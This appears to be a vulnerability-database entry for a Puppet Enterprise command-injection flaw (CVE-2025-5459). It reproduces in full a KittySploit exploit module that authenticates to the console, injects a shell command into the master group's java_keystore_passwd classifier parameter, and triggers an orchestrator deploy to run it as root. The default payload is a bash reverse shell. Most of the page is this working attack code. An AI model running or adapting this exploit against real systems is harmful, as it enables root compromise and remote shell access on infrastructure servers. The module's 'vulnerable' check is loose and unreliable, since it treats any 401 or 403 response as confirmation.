Puppet Enterprise keytool shell injection root RCE
| Reporter | Title | Published | Views | Family All 13 |
|---|---|---|---|---|
| CVE-2025-5459 | 26 Jun 202506:51 | – | circl | |
| Puppet Enterprise Administration Module security vulnerabilities | 26 Jun 202500:00 | – | cnnvd | |
| CVE-2025-5459 | 26 Jun 202506:30 | – | cve | |
| CVE-2025-5459 OS Command Injection | 26 Jun 202506:30 | – | cvelist | |
| CVE-2025-5459 | 26 Jun 202506:30 | – | debiancve | |
| EUVD-2025-19173 | 3 Oct 202520:07 | – | euvd | |
| Puppet Enterprise — CVE-2025-5459 Patch-Bypass Variant → keytool Shell Injection — Detect | 27 Oct 202613:35 | – | kittysploit | |
| CVE-2025-5459 | 26 Jun 202507:15 | – | nvd | |
| CVE-2025-5459 | 26 Jun 202507:15 | – | osv_cve | |
| PT-2025-26943 | 26 Jun 202500:00 | – | ptsecurity |
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"""Puppet Enterprise classifier keytool passwd injection (CVE-2025-5459 variant)."""
from __future__ import annotations
import json
import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Exploit, Http_client):
__info__ = {'name': 'Puppet Enterprise keytool shell injection root RCE', 'description': 'RBAC token → classifier PE Master group → java_keystore_passwd injection + trusted_infra_cacert trigger; orchestrator deploy runs agent.', 'author': ['KittySploit Team'], 'platform': Platform.LINUX, 'arch': [Arch.CMD], 'payload': {'default': 'payloads/singles/cmd/unix/bash_reverse_tcp', 'platform': Platform.UNIX, 'category': PayloadCategory.CMD}, 'references': ['CVE-2025-5459'], 'tags': ['puppet', 'pe', 'rce', 'authenticated'], 'agent': {'risk': 'critical', 'effects': ['active_exploitation', 'remote_code_execution'], 'expected_requests': 5, 'reversible': False, 'approval_required': True, 'produces': ['rce', 'shell'], 'chain': {'suggested_followups': ['scanner/http/puppet_keytool_injection_root_rce_detect']}}}
MARKER_PATH = '/tmp/pe_rce_vuln001_marker'
DUMMY_PEM = '-----BEGIN CERTIFICATE-----\nMIIBdummycontentfortriggeronly\n-----END CERTIFICATE-----\n'
port = OptPort(4433, 'PE Console Services HTTPS port (classifier/rbac)', required=True)
ssl = OptBool(True, 'Use HTTPS', required=False)
orchestrator_port = OptPort(8143, 'Orchestrator API port for puppet agent run', required=False)
username = OptString('admin', 'PE console login', required=True)
password = OptString('', 'PE console password', required=True)
puppet_environment = OptString('production', 'Orchestrator deploy environment', required=False)
master_node = OptString('', 'Master certname for scope.nodes (required to trigger)', required=False)
restore_params = OptBool(True, 'Clear injected classifier keys after run', required=False)
marker_file = OptString(MARKER_PATH, 'Marker written by injected shell', required=False)
def _console_request(self, method: str, path: str, body: dict | None=None, token: str | None=None) -> tuple[int, str]:
headers = {'Content-Type': 'application/json', 'Accept': 'application/json'}
if token:
headers['X-Authentication'] = token
data = json.dumps(body) if body is not None else None
resp = self.http_request(method, path, data=data, headers=headers)
if not resp:
return (-1, 'request failed')
return (int(resp.status_code or 0), (resp.text or '')[:4000])
def _orchestrator_request(self, path: str, body: dict, token: str) -> tuple[int, str]:
host = str(getattr(self, 'target', None) or getattr(self, 'rhost', None) or '')
oport = int(self.orchestrator_port or 8143)
saved_port = self.port
try:
self.port = oport
headers = {'Content-Type': 'application/json', 'Accept': 'application/json', 'X-Authentication': token}
resp = self.http_request('POST', path, data=json.dumps(body), headers=headers)
if not resp:
return (-1, 'orchestrator request failed')
return (int(resp.status_code or 0), (resp.text or '')[:2000])
finally:
self.port = saved_port
def _rbac_token(self) -> str | None:
code, raw = self._console_request('POST', '/rbac-api/v1/auth/token', {'login': str(self.username or ''), 'password': str(self.password or '')})
if code != 200:
return None
try:
return json.loads(raw).get('token')
except json.JSONDecodeError:
return None
def _master_group_id(self, token: str) -> str | None:
code, raw = self._console_request('GET', '/classifier-api/v1/groups', token=token)
if code != 200:
return None
try:
groups = json.loads(raw)
except json.JSONDecodeError:
return None
for group in groups:
classes = group.get('classes', {}) or {}
if 'puppet_enterprise::profile::master' in classes:
return group.get('id')
return None
def _build_injection(self, command: str) -> str:
marker = str(self.marker_file or self.MARKER_PATH)
return f"x'; LC_ALL=C {command} > {marker} 2>&1; echo 'y"
def execute(self, cmd: str) -> str:
token = self._rbac_token()
if not token:
return 'RBAC auth failed on console port'
group_id = self._master_group_id(token)
if not group_id:
return 'PE Master classifier group not found'
injection = self._build_injection(cmd)
body = {'classes': {'puppet_enterprise::profile::master': {'java_keystore_passwd': injection, 'trusted_infra_cacert': self.DUMMY_PEM}}}
code, raw = self._console_request('POST', f'/classifier-api/v1/groups/{group_id}', body, token)
if code not in (200, 204):
return f'classifier inject failed HTTP {code}: {raw[:300]}'
trigger_msg = 'orchestrator deploy not attempted (set master_node)'
master = str(self.master_node or '').strip()
if master:
deploy_body = {'environment': str(self.puppet_environment or 'production'), 'scope': {'nodes': [master]}}
tcode, traw = self._orchestrator_request('/orchestrator/v1/command/deploy', deploy_body, token)
trigger_msg = f'orchestrator deploy HTTP {tcode}: {traw[:300]}'
if bool(self.restore_params):
restore = {'classes': {'puppet_enterprise::profile::master': {'java_keystore_passwd': None, 'trusted_infra_cacert': None}}}
self._console_request('POST', f'/classifier-api/v1/groups/{group_id}', restore, token)
marker = str(self.marker_file or self.MARKER_PATH)
return f'classifier params injected on group {group_id}; {trigger_msg}; verify {marker} on master after agent run'
def check(self):
code, _ = self._console_request('POST', '/rbac-api/v1/auth/token', {'login': 'x', 'password': 'x'})
if code in (401, 403, 200):
return {'vulnerable': True, 'reason': 'PE console RBAC API reachable', 'confidence': 'low'}
return {'vulnerable': False, 'reason': 'Console API not reachable', 'confidence': 'low'}
def run(self):
shell = self.shell_from_payload() or 'id'
if not str(self.password or '').strip():
print_error('Set PE console password')
return False
chk = self.check()
if not chk.get('vulnerable'):
print_error(chk.get('reason', 'Target not ready'))
self.not_vulnerable()
return False
print_status('Classifier injection → orchestrator deploy (if master_node set)')
print_info(self.execute(shell))
self.vulnerable()
return True
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27 Oct 2026 13:35Current
6Medium risk
Vulners AI Score6
CVSS 3.18.8
CVSS 48.6
EPSS0.01098
SSVC